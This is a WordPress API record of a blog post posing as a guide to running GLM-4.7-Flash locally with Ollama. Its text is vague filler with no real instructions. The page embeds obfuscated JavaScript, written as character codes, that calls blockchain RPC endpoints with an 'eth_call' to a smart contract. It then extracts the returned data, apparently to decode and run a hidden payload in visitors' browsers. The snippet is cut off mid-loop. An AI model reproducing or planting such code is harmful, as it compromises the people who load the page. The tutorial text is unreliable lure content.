{"id":1558,"date":"2026-07-03T08:46:07","date_gmt":"2026-07-03T08:46:07","guid":{"rendered":"https:\/\/functional48.com\/?p=1558"},"modified":"2026-07-03T08:46:07","modified_gmt":"2026-07-03T08:46:07","slug":"quick-run-glm-4-7-flash-locally-via-ollama-2-quantized-gguf-local-guide","status":"publish","type":"post","link":"https:\/\/functional48.com\/index.php\/2026\/07\/03\/quick-run-glm-4-7-flash-locally-via-ollama-2-quantized-gguf-local-guide\/","title":{"rendered":"Quick Run GLM-4.7-Flash Locally via Ollama 2 Quantized GGUF Local Guide"},"content":{"rendered":"

\"Quick<\/p>\n

Homebrew<\/b> offers the quickest path<\/i> to setting up this model locally.<\/p>\n

Make sure you implement the steps<\/b> mentioned below.<\/p>\n

<\/p>\n

The framework seamlessly downloads the massive neural network binaries.<\/i><\/p>\n

<\/p>\n

The setup file includes a feature that instantly optimizes all configurations<\/b>.<\/p>\n\n\n
\n
\n
\ud83d\udcd8 Build Hash: bdf2adeccff81c5b0228cefb2021889f<\/span> \u2022 \ud83d\uddd3 2026-06-30<\/div>\n\n\n
Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n
<\/canvas>